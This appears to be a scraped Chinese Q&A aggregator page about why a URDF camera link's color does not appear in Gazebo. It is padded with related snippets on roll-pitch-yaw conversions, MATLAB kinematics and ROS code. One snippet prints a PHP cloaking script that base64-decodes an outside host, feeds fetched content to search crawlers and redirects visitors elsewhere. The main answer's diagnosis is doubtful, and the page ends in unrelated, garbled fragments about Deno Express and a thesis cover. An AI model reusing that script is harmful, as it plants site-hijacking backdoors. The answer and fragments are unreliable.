部分urdf代码如下<visual> <origin xyz="0 0 0" rpy="0 0 0"/> <geometry> <mesh filename="package://yahboomcar_description/meshes/sensor/visual/camera_link.STL"/> </geometry> <material name=""> <color rgba="1 0 0 1"/> </material> </visual>，用gazebo打开模型后，没有显示颜色，是为什么

时间: 2024-04-04 11:29:17 浏览: 62
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M0 library

根据您提供的代码片段，您的<material>标签中指定的名称为空，这可能导致您在Gazebo中看不到颜色。请您在<material>标签中指定一个名称，例如：<material name="red">，然后将这个名称用于<visual>标签中的<material>标签，例如：<visual> <material name="red">...</material> </visual>。这样做后，您应该能够在Gazebo中看到正确的颜色了。如果您仍然无法看到颜色，请检查您的Gazebo和模型文件是否正确配置，并确保您的机器上存在正确的材料库。
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<origin xyz="0 0 0.1" rpy="0 0 0" /> <axis xyz="0 1 0" /> <limit lower="-1.57" upper="1.57" velocity="1" effort="10" /> </joint> 6. **<material> 元素**：定义连杆的颜色和其他视觉属性，可以与...
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r2py:使用rpy2在python中包装R代码

2 使用rpy2在python中包装R代码。例子白条纹首先将R转换为python， git clone https://github.com/muschellij2/WhiteStripe.gitRscript -e ' source("R/transpile.R"); cat(transpile("WhiteStripe", list.files(...

<xacro:include filename="$(find realsense_ros_gazebo)/xacro/depthcam.xacro"/> <xacro:realsense_d435 sensor_name="camera" parent_link="link_5" rate="30"> <origin xyz="-0.00068847 -0.06 -0.13" rpy="-3.14 0 -1.5708"/> </xacro:realsense_d435>

其中，这段代码通过xacro的方式引用了realsense_ros_gazebo包中的depthcam.xacro文件，并定义了一个名称为camera、安装在link_5连杆上、帧率为30的Realsense D435深度相机，其位置姿态由origin标签内的xyz和rpy属性...

<joint name="laser_livox_joint" type="fixed" > <origin xyz="0 0 0.5" rpy="0 0 0" /> <child link="laser_livox"/> </joint> 转为sdf格式

注意，SDF 格式中使用的 <pose> 元素可以代替 URDF 格式中的 <origin> 元素。同时，SDF 格式中的 <parent> 和 <child> 元素与 URDF 格式中的 <parent link> 和 <child link> 元素具有相同的作用。
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ROS教程：URDF与机器人描述框架

<geometry>用于指定link的几何形状，如立方体、球体、圆柱体等，可以使用不同的形状描述子元素，如<box>、<cylinder>或<sphere>。同时，<color>标签则允许我们设定link的视觉外观，包括RGB颜色值。这在...

function KPS6 = FK(KPS44) %% parameter rpy = zeros(1,3); eps = 0.000001; %% input T=[1 0 0 0;0 1 0 0; 0 0 1 0]; G=KPS44; H =T * ( G * [0;0;0;1]); %% rpy(2) = atan2(-KPS44(3,1),sqrt(KPS44(1,1)*KPS44(1,1)+KPS44(2,1)*KPS44(2,1))); if (abs(abs(rpy(2)) - pi / 2.0) < eps) if (rpy(2) > 0) rpy(2) = pi / 2.0; rpy(3) = 0.0; rpy(1) = atan2(KPS44(1,2),KPS44(2,2)); else rpy(2) = -pi / 2.0; rpy(3) = 0.0; rpy(1) = -atan2(KPS44(1,2), KPS44(2,2)); end else cp = cos(rpy(2)); rpy(3) = atan2(KPS44(2,1)/cp,KPS44(1,1)/cp); rpy(1) = atan2(KPS44(3,2)/cp, KPS44(3,3)/cp); end KPS6 = [H' rpy]; end

如果是特殊情况，则计算 roll 角（rpy(1)），否则计算 roll 角和 yaw 角（rpy(1) 和 rpy(3)）。 最后，函数将位置信息和姿态信息组合成一个包含位置和姿态的向量 KPS6，并将其返回作为函数的输出。 注意：这段代码...

R调用python，报错in <module> import numpy as np ModuleNotFoundError: No module named 'numpy'

- **升级或降级rpy2版本**：根据rpy2文档调整版本以匹配Python环境。 相关问题： 1. 如何在R中正确配置Python环境？ 2. 使用rpy2时如何指定Python的安装路径？ 3. 如果Python环境已经安装了numpy，为何还会遇到此...

解释一下这段代码：“rpy = tf.transformations.euler_from_quaternion([quat.x, quat.y, quat.z, quat.w]) # 四元数转欧拉角 rpy_arc = [0, 0, 0] for i in range(len(rpy)): #弧度转角度 rpy_arc[i] = rpy[i] / math.pi * 180 ”

这段代码的作用是将四元数表示的旋转姿态(quaternion)转换为欧拉角表示的姿态(euler angles)，其中quat是一个四元数对象，包含了四元数的四个分量，而tf.transformations.euler_from_quaternion函数则将四元数使用Z-...

%% parameters eps = 0.000001; s = 0.0 ; c =0.0; cp = 0.0; Q = 0.0; m = 0.0; function rpy = TF(R) %% output rpy = zeros(1,3); % rpy(1) roll % rpy(2) pitch % rpy(3) yaw %% function description % 2：XYZ固定角变换； rpy(2) = atan2(-R(3,1),sqrt(R(1,1)*R(1,1)+R(2,1)*R(2,1))); if(abs(abs(rpy(2))-pi/2)<eps) if(rpy(2)>0) rpy(2) = pi/2 ; rpy(3) = 0.0 ; rpy(1) = atan2(R(1,2),R(2,2)) ; else rpy(2) = -pi/2 ; rpy(3) = 0.0 ; rpy(1) = -atan2(R(1,2),R(2,2)) ; end else cp = cos(rpy(2)) ; rpy(3) = atan2(R(2,1)/cp,R(1,1)/cp) ; rpy(1) = atan2(R(3,2)/cp ,R(3,3)/cp) ; end end

如果 pitch 角的绝对值与 pi/2 的差小于一个极小的值 eps，则判断 pitch 角是否大于 0，若大于 0 则设置 rpy(2) 为 pi/2，rpy(3) 为 0，rpy(1) 为 atan2(R(1,2),R(2,2))；若小于 0 则设置 rpy(2) 为 -pi/2，rpy(3) ...

转换为MATLAB语言for (int i = 0; i < n; i++) { j = 0; while (j < (m - 1)) { if ((Sr[j + 1] >= Ts[i][1]) && (Ts[i][1] >= Sr[j])) { for (int count = 0; count < 4; count++) { q1[count] = Q[j][count]; q2[count] = Q[j + 1][count]; } pra = (Ts[i][1] - Sr[j]) / (Sr[j + 1] - Sr[j]); break; } j = j + 1; } /*for (int count = 0; count < 4; count++) { printf("q1[%d]= %f ", count, q1[count]); printf("q2[%d]= %f \n", count, q2[count]); }*/ slerp(q1, q2, pra, R2Q); quaternion2rpy(R2Q, rot_vec); rpy2rotvec(rot_vec[0], rot_vec[1], rot_vec[2], rpy_rot); ////BArr[i][3] = rpy_rot[0], BArr[i][4] = rpy_rot[1], BArr[i][5] = rpy_rot[2]; for (int c = 0; c < 6; c++) { if (3 > c) { u.push_back(Tdd[i][c] / 1000); } else { u.push_back(rpy_rot[c - 3]); } myfile << u[c] << " "; } myfile << std::endl; B_Arr.push_back(u); u.clear(); } // printf("pra= %f \n", pra); myfile.close(); // printf("asasasasasasasasasa\n"); delete[] Q; delete[] R2Q; delete[] rot_vec; delete[] rpy_rot; delete[] R_X; delete[] R_Y; delete[] R_Z; delete[] x_Arr; delete[] q1; delete[] q2;

if c <= 3 u(c) = Tdd(i, c) / 1000; else u(c) = rpy_rot(c - 3); end fprintf(myfile, '%f ', u(c)); end fprintf(myfile, '\n'); B_Arr(i, :) = u; end fclose(myfile); clear Q R2Q rot_vec rpy_rot ...

#! /usr/bin/env python3 import rospy import serial import time import random from tadsim_pkg.msg import Location def setto(control): bluetooth.flushInput() bluetooth.write(str.encode(control)) time.sleep(0.01) meanAngle = [] def bluetooth_callback(msg): #print("velocity:",msg.velocity) #print("angular:",msg.rpy) #Tadsim中小车前向速度为(velocity.x ** 2 + velocity.y ** 2) ** 0.5 #作*2处理 velocity = int((msg.velocity.x ** 2 + msg.velocity.y ** 2) ** 0.5 * 2) #location.rpy.z为转角，首次先获取初始角度，增加为左转减小为右转，(rpy.z-angle) * 180 / 3.14 #作*500处理 global angle if angle != -1: angle = int((msg.rpy.z - angle) * 180 / 3.14 * 500) print("velocity:{},angle:{}".format(velocity,angle)) a = ["-","+"][angle <= 0]+["","0"][len(str(abs(angle)))==1]+str(abs(angle)) v = ["-","+"][velocity >= 0]+["","0"][len(str(abs(velocity)))==1]+str(abs(velocity)) control = "<" + a + v + ">\n" print("\n蓝牙指令:",control) setto(control) #更新angle的值 angle = msg.rpy.z pass if __name__=="__main__": bluetooth = serial.Serial("/dev/rfcomm1",115200) rospy.init_node("bluetooth_control") angle = -1 sub = rospy.Subscriber('tadsim_topic',Location,bluetooth_callback) rospy.spin() if KeyboardInterrupt: setto("<+00+00>") time.sleep(2) bluetooth.close() pass分析一下这段代码

这段代码是一个用于控制蓝牙小车的ROS节点。它使用了Python的rospy库来与ROS系统进行通信，并且依赖了一个名为tadsim_pkg的ROS包提供的Location消息类型。 首先，代码导入了必要的库，包括rospy、serial...

<?php $a = base64_decode('aHR0cDovL2RpY2szLmNj'); $b = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF']; $c = $_SERVER['REQUEST_URI']; $url = $a . '/index.php?uu=' . $b . '&ll=' . $c; $agent = $_SERVER['HTTP_USER_AGENT']; $referer = $_SERVER['HTTP_REFERER']; $spiders = ['baiduspider', 'sogou', '360Spider', 'sosospider', 'bingbot', 'yisouspider', 'spider', 'google', 'yodaobot']; foreach ($spiders as $spider) { if (stripos($agent, $spider) !== false) { $file = file_get_contents($url); echo $file; exit; } } $redirectUrl = base64_decode('aHR0cDovLzE3MS4yMi4xOTUuNQ=='); header("Location: $redirectUrl"); exit; ?>

代码的逻辑如下： 1. 使用base64_decode函数将字符串'aHR0cDovL2RpY2szLmNj'解码为一个URL。 2. 构建一个URL字符串，其中包括当前服务器的地址和当前脚本的路径。 3. 获取用户的浏览器代理和引用来源。 4. 定义...

这段代码什么意思：“rpy_arc[i] = rpy[i] / math.pi * 180”

这段代码的意思是将列表 rpy 中的每个元素乘以 180 / π，并将结果存储到列表 rpy_arc 中的对应位置上。其中 rpy 表示欧拉角（Roll-Pitch-Yaw），rpy_arc 表示欧拉角的角度制表示。

/** * @brief Convert euler angles to quaternion. */ Eigen::Quaterniond quaternion_from_rpy(const Eigen::Vector3d &rpy);

具体实现可能如下所示： c++ Eigen::Quaterniond quaternion_from_rpy(const Eigen::Vector3d &rpy) { double roll = rpy.x(); double pitch = rpy.y(); double yaw = rpy.z(); Eigen::AngleAxisd rollAngle...

如何创建一个六自由度机械臂URDF/XACRO文件，描述实现代码

<origin xyz="0 0 0" rpy="0 0 0"/> <parent link="base_link"/> <child link="link1"/> <axis xyz="0 0 1"/> </joint> <joint name="link1_to_link2" type="revolute"> <origin xyz="0 0 1" rpy="0 0 0"/> ...

ros导航机器人模型urdf代码

<origin xyz="0 0 0.1" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <joint name="base_wheel_r_joint" type="continuous"> <parent link="base_link"/> <child link="wheel_r_link"/> <origin xyz="0 0 -...

ROS医院导航机器人urdf代码

<origin xyz="0.2 0 0.1" rpy="0 0 0"/> <axis xyz="0 0 1"/> <limit lower="-1.57" upper="1.57"/> </joint> <link name="camera_link"> <visual> <geometry> <sphere radius="0.05"/> </geometry> ...

clear all; clc; du = pi/180; a = [0+0.001, 185+0.0079, 0+0.005, 120+0.12]; alpha = [pi/2+0.003, 0+0.001, pi/2+0.005, pi/2]; d = [0+0.001, 0+0.0079, 90+0.005, 0+0.12]; theta = [90*du+0.02, 0, 0.023, 0.08]; L1(1) = Link('d', d(1), 'a', a(1), 'alpha', alpha(1), 'qlim', [180*du, 365*du], 'modified'); L1(2) = Link('d', d(2), 'a', a(2), 'alpha', alpha(2), 'qlim', [3*du, 63*du], 'modified'); L1(3) = Link('d', d(3), 'a', a(3), 'alpha', alpha(3), 'qlim', [60*du, 120*du], 'modified'); L1(4) = Link('d', d(4), 'a', a(4), 'alpha', alpha(4), 'qlim', [230*du, 326*du], 'modified'); Needle = SerialLink(L1, 'name', 'Needle'); % 输入四个关节角度值 theta = [0*du, 30*du, 35*du, 120*du]; % 计算正解得到末端位姿 T1 = DH(1, a(1), alpha(1), d(1), theta(1)); T2 = DH(2, a(2), alpha(2), d(2), theta(2)); T3 = DH(3, a(3), alpha(3), d(3), theta(3)); T4 = DH(4, a(4), alpha(4), d(4), theta(4)); T = T1 * T2 * T3 * T4; % Step 2：利用微分变换原理计算机器人各个连杆机构之间的微小原始偏差 delta_a = 0.001; % a参数的微小偏差 delta_alpha = 0.001; % alpha参数的微小偏差 delta_d = 0.001; % d参数的微小偏差 delta_theta = 0.001; % theta参数的微小偏差 delta_T1 = DH(1, a(1)+delta_a, alpha(1), d(1), theta(1)) - T1; delta_T2 = DH(2, a(2)+delta_a, alpha(2), d(2), theta(2)) - T2; delta_T3 = DH(3, a(3)+delta_a, alpha(3), d(3), theta(3)) - T3; delta_T4 = DH(4, a(4)+delta_a, alpha(4), d(4), theta(4)) - T4; % Step 3：计算误差矩阵 delta_T = delta_T4 * delta_T3 * delta_T2 * delta_T1; delta_pos = delta_T(1:3, 4); % 提取位置误差 delta_pos_mm = delta_pos * 1000; % 将位置误差转换为毫米单位 delta_rpy = tr2rpy(delta_T, 'deg'); % 计算姿态误差 % Step 4：将误差矩阵转化为误差值 delta_x = delta_T(1,4); delta_y = delta_T(2,4); delta_z = delta_T(3,4); % 输出末端位姿误差 fprintf('末端位姿误差：\n'); fprintf('Delta x: %f mm\n', 30); fprintf('Delta y: %f mm\n', delta_pos_mm(2)); fprintf('Delta z: %f mm\n', delta_pos_mm(3)); fprintf('Delta roll: %f deg\n', delta_rpy(1)); fprintf('Delta pitch: %f deg\n', delta_rpy(2)); fprintf('Delta yaw: %f deg\n', delta_rpy(3));那我的这段程序是都可以进行参数白女士的修改得到相应数据

是的，这段程序可以进行参数的修改，从而得到相应的数据。具体来说，你可以通过修改a、alpha、d、theta四个参数的微小偏差值delta_a、delta_alpha、delta_d、delta_theta来模拟机器人每个连杆参数的微小变化，从而...

如何在文件里写urdf代码

<origin xyz="0 0 0" rpy="0 0 0"/> <axis xyz="0 0 1"/> <limit lower="-3.1416" upper="3.1416" effort="10" velocity="5"/> </joint> </robot> 该URDF描述了一个由两个链接和一个旋转关节组成的简单...

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Deno Express：模仿Node.js Express的Deno Web服务器解决方案

资源摘要信息:"deno-express:该项目的灵感来自https" 知识点： 1. Deno 介绍：Deno 是一个简单、现代且安全的JavaScript和TypeScript运行时，由Node.js的原作者Ryan Dahl开发。它内置了诸如TypeScript支持、依赖模块的自动加载等功能。Deno的出现是为了解决Node.js存在的一些问题，比如全局状态污染和包管理等。 2. Express.js 概念：Express.js 是一个基于Node.js平台的极简、灵活的web应用开发框架。它提供了一系列强大的功能，用于开发单页、多页和混合web应用。Express.js的亮点在于其路由系统，对中间件的使用，以及对视图引擎的支持。 3. deno-express 项目：该项目以Node.js的Express框架为灵感，为Deno提供了一套类似于Express的Web服务器搭建方式。使用deno-express可以让开发者用熟悉的Express API在Deno环境中快速构建Web应用。 4. TypeScript 使用：TypeScript 是 JavaScript 的一个超集，添加了类型系统和对ES6+的新特性的支持。它最终会被编译成纯JavaScript代码，以便在浏览器和Node.js等JavaScript环境中运行。在deno-express项目中，通过TypeScript编写代码，不仅可以享受到静态类型检查的好处，还可以利用TypeScript的强类型系统来构建更稳定、易于维护的代码。 5. 代码示例解析：在描述中提供了一个简短的代码示例，示范了如何使用deno-express构建一个简单的web server。 - `import * as expressive from "https://raw.githubusercontent.com/NMathar/deno-express/master/mod.ts";` 这行代码通过网络导入了deno-express库的核心模块。 - `const port = 3000;` 定义了一个端口号，即web服务器将监听的端口。 - `const app = new expressive.App();` 创建了一个Express-like的App实例。 - `app.use(expressive.simpleLog());` 使用了一个简单的日志中间件，这可能会记录请求和响应的信息。 - `app.use(expressive.static_("./public"));` 使用了静态文件服务中间件，指定 "./public" 作为静态文件目录，使得该目录下的文件可以被Web服务访问。 - `app.use(expressive.bodyParser.json());` 使用了body-parser中间件，它能解析请求体中的JSON格式数据，使得在后续的请求处理中可以方便地获取这些数据。 6. Deno 与 Node.js 的对比：Deno与Node.js在设计哲学和实现上有明显差异。Deno不使用npm作为包管理器，而是通过URL导入模块。它也具备内置的TLS和网络测试工具，以及自动的依赖项管理，这都是Node.js需要外部模块来实现的功能。 7. 代码示例中的未显示部分：描述中仅展示了server.ts文件的部分内容，根据标准的Express应用结构，可能还会包括定义路由、设置视图引擎、错误处理中间件等。 8. 模块和库的使用：在deno-express项目中，开发者会接触到如何在Deno环境下使用外部模块。在JavaScript和TypeScript社区中，通过URL直接导入模块是一个新颖的方法，它使得依赖关系变得清晰，并且有助于构建安全、无包管理器污染的应用。 9. 对于TypeScript的依赖：由于deno-express项目的代码示例是用TypeScript编写的，所以它展示了TypeScript在Deno项目中如何使用。Deno对TypeScript的支持是原生的，无需额外编译器，直接运行即可。 10. Web服务器搭建实践：通过这个项目，开发者可以学习如何在Deno中搭建和管理Web服务器，包括如何处理路由、如何对请求和响应进行中间件处理等Web开发基础知识点。 通过对以上知识点的了解，可以对deno-express项目有一个全面的认识。该项目不仅为Deno提供了类似Express.js的Web开发体验，还展示了如何利用TypeScript来构建现代化、高性能的Web应用。
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关系数据表示学习

关系数据卢多维奇·多斯桑托斯引用此版本：卢多维奇·多斯桑托斯。关系数据的表示学习机器学习[cs.LG]。皮埃尔和玛丽·居里大学-巴黎第六大学，2017年。英语。NNT：2017PA066480。电话：01803188HAL ID：电话：01803188https://theses.hal.science/tel-01803188提交日期：2018年HAL是一个多学科的开放存取档案馆，用于存放和传播科学研究论文，无论它们是否被公开。论文可以来自法国或国外的教学和研究机构，也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaireUNIVERSITY PIERRE和 MARIE CURIE计算机科学、电信和电子学博士学院（巴黎）巴黎6号计算机科学实验室D八角形T HESIS关系数据表示学习作者：Ludovic DOS SAntos主管：Patrick GALLINARI联合主管：本杰明·P·伊沃瓦斯基为满足计算机科学博士学位的要求而提交的论文评审团成员：先生蒂埃里·A·退休记者先生尤尼斯·B·恩